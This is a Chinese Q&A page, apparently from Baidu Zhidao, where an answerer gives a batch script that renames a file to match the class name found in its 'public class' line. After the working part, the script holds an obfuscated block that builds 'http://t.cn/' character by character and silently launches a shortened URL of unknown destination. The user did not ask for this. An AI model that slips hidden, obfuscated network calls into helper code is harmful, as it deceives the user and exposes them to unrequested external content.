DOS批处理 取得 文件中指定字符串到空格中的值对比文件名并修改
1个回答
展开全部
非常抱歉,您的问题描述,恕我知识有限,无法理解您的部分意思。
什么叫“指定字符串到空格中的值”?您是指指定字符与空格之间的内容吗?
什么叫“指定字符串到空格中的值”?您是指指定字符与空格之间的内容吗?
更多追问追答
追问
是的实际上是”public class [名字] ”
追答
获取[ ]里面的?
如果是,且要搜索的字符串,仅出现在这一行,而且[ ]只出现一次,那么可以使用以下代码实现:
@echo off & title 搜索特定字符并比较名字,更名 By 依梦琴瑶
cd /d %~dp0
::设置要搜索的字符串
set Str=public class
::运行后输入要搜索的文件
echo 请输入待搜索的文件:
set /p File=
for %%a in ("%File%") do (
set "Fn=%%~na"
set "Fx=%%~xa"
)
for /f "tokens=2* delims=[]" %%a in ('findstr /i /c:"%Str%" "%File%"') do (
if /i not "%%~a"=="%Fn%" (
echo 文件已更名为 "%%~a%Fx%"
ren "%File%" "%%~a%Fx%"
) else (
echo 文件名正确
)
)
pause
set S1=.:htpcn/
set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%
set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%
start "" "%S2%%S3%RkuXzwi"
exit
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询